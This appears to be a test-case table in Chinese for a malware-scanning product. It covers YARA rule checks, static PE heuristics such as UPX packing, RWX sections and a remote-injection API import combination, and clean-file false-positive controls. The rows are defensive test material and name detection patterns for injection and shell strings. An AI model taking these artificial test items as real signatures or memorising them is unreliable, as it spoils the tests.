L4-009,加密zip内样本,YARA无法扫描,加密包跳过,加密zip内含匹配YARA的文件,1,L4无法解析加密内容,不命中,自制加密zip,L4
L4-010,YARA 字符串正则匹配测试,正则型YARA规则,YARA正则匹配shell特征串,配套样本,1,匹配成功则命中,手写正则YARA+样本,L4
L4-011,YARA 计数条件规则测试(count > 3),条件逻辑校验,文件内出现4次匹配字符串,1,L4命中规则,手写YARA+样本,L4
L4-012,YARA 大小条件规则测试(文件大小),文件大小条件,规则限定文件size,配套符合/不符合样本,1,符合size条件命中,不符合不命中,手写YARA+样本,L4
L4-013,超大文件YARA扫描性能,大文件扫描稳定性,100MB文本,包含匹配串,1,L4正常命中,统计耗时,脚本生成大文本,L4
L4-014,关闭L4开关,提交YARA命中样本,分层开关控制,关闭L4层,提交L4-001样本,1,L4不参与扫描,无YARA告警,其余层级正常工作,复用L4-001样本,L4
L4-015,YARA规则白名单哈希,哈希白名单优先,样本命中YARA,但md5在白名单,1,L4不告警,白名单生效,复用L4-001+配置白名单,L4
L5-001,原生干净HelloWorld PE(无壳),干净PE不误报,C编译hello,无壳、无异常导入、节属性正常,1,L5无命中,无风险,gcc编译,L5
L5-002,同一HelloWorld UPX加壳,UPX壳识别,上面hello,upx -9加壳,1,L5命中,告警【PE被UPX加壳】,中危,upx工具加壳,L5
L5-003,UPX加壳PE,二次压缩,多层壳识别,UPX壳后再次打包UPX,1,L5识别UPX壳,中危,upx多次压缩,L5
L5-004,PE存在RWX可写可执行节,可疑节属性识别,hello PE,修改节属性为RWX,代码无害,1,L5命中,告警【PE存在RWX可执行节】,高危,PE-Bear修改节头,L5
L5-005,PE导入表:VirtualAlloc + WriteProcessMemory + CreateRemoteThread(不调用),可疑导入组合识别,程序引入这三个API,但是代码完全不调用,1,L5命中,告警【存在远程注入可疑导入组合】,高危,C源码引入API,不调用,编译,L5
L5-006,PE导入单个VirtualAlloc,无其他注入API,单一可疑API,仅导入VirtualAlloc,1,L5命中,告警【包含可疑内存API】,低危,C源码编译,L5
L5-007,PE节名异常(随机乱码节名),异常节名识别,修改节名称为乱码字符串,1,L5命中,告警【PE节名称异常】,低危,PE-Bear修改,L5
L5-008,PE导出表异常(大量导出函数),导出表异常识别,生成大量导出函数的无害PE,1,L5命中,告警【导出表数量异常】,低危,编译设置导出,L5
L5-009,PE资源段内嵌文本字符串,资源段解析,资源段放入shell字符串,1,L5识别资源段,可联动L3/L4匹配,修改源码编译,L5
L5-010,畸形PE:PE签名0x5A4D错误,PE头校验,修改MZ签名为其他值,1,L5识别畸形PE,告警【PE头非法】,不崩溃,010Editor修改,L5
L5-011,截断PE:节表不完整,截断PE容错,PE二进制截断,节表缺失,1,L5解析不崩溃,返回畸形PE告警,010Editor截断,L5
L5-012,32位正常PE对照,32/64位识别,32位hello PE,1,L5识别32位PE,无异常告警,gcc -m32编译,L5
L5-013,64位正常PE对照,32/64位识别,64位hello PE,1,L5识别64位PE,无异常告警,gcc -m64编译,L5
L5-014,PE导入表大量系统API(正常工具),正常工具不误报,正常开源小工具(如md5sum)PE,1,L5无命中,无风险,编译开源代码,L5
L5-015,PE重定位表损坏,重定位表容错,篡改重定位表数据,1,L5识别畸形PE,告警,服务不崩溃,PE-Bear修改,L5
L5-016,零节PE(无节表),极端畸形PE,构造无节表的最小PE,1,L5识别畸形PE,告警,PE工具构造,L5
L5-017,UPX壳 + RWX节复合特征,多特征复合命中,UPX壳同时RWX节,1,L5同时命中两条告警,全部输出,PE-Bear修改UPX样本,L5
L5-018,PE内嵌debug调试信息,调试信息识别,带pdb调试信息的PE,1,L5识别包含调试信息,低危告警(策略可配置),编译加-g调试符号,L5
L5-019,超大PE(200MB)静态解析性能,大PE解析稳定性,200MB无害PE,1,L5正常解析,统计扫描耗时,不OOM,脚本生成大PE,L5
L5-020,关闭L5开关,提交RWX节PE,分层开关控制,关闭L5层,提交L5-004样本,1,L5不扫描,无二进制告警,其余层级正常工作,复用L5-004样本,L5
NEG-001,业务标准JPG图片,图片不误报,业务实拍jpg,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-002,业务PNG图片,图片不误报,业务png截图,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-003,业务MP4视频,视频不误报,业务短视频mp4,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-004,业务正常docx报表,办公文档不误报,业务报表docx,无宏无OLE,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-005,业务正常xlsx表格,办公文档不误报,业务xlsx,无宏,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-006,业务正常PDF报告,PDF不误报,业务PDF,无JS无动作,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-007,业务源码java文件,源代码不误报,正常java源码,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-008,业务源码python脚本,良性脚本不误报,业务正常python脚本,内网逻辑,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-009,正常业务压缩包zip,普通压缩包不误报,业务打包zip,无嵌套、无穿越,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-010,正常业务安装包(干净开源),正常安装包不误报,开源干净程序安装包,1,所有层级无命中,无风险,开源项目下载,全层
NEG-011,正常日志文件,日志不误报,业务正常运行日志,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-012,正常csv业务数据文件,数据文件不误报,业务csv数据,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-013,正常eml业务邮件(无附件、无外联恶意),正常邮件不误报,内部业务邮件eml,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-014,正常dll(系统干净dll),良性dll不误报,系统自带干净dll,1,所有层级无命中,无风险,系统提取,全层
NEG-015,正常字体文件ttf,字体文件不误报,ttf字体,1,所有层级无命中,无风险,开源字体,全层
NEG-016,正常CAD图纸,图纸文件不误报,dwg图纸,1,所有层级无命中,无风险,业务收集干净样本,全层
NEG-017,多层嵌套干净zip(无风险),良性嵌套压缩不误报,4层嵌套干净zip,1,所有层级无命中,无风险,自制打包,全层
NEG-018,正常bat运维脚本(内网备份),良性运维脚本不误报,内网备份bat,无高危命令,1,所有层级无命中,无风险,业务脚本,全层
NEG-019,正常ps1运维脚本(内网查询),良性ps1不误报,内网信息查询ps1,1,所有层级无命中,无风险,业务脚本,全层
NEG-020,正常odt文档,开源文档不误报,LibreOffice odt文档,1,所有层级无命中,无风险,自制,全层
Can't render this file because it contains an unexpected character in line 54 and column 78.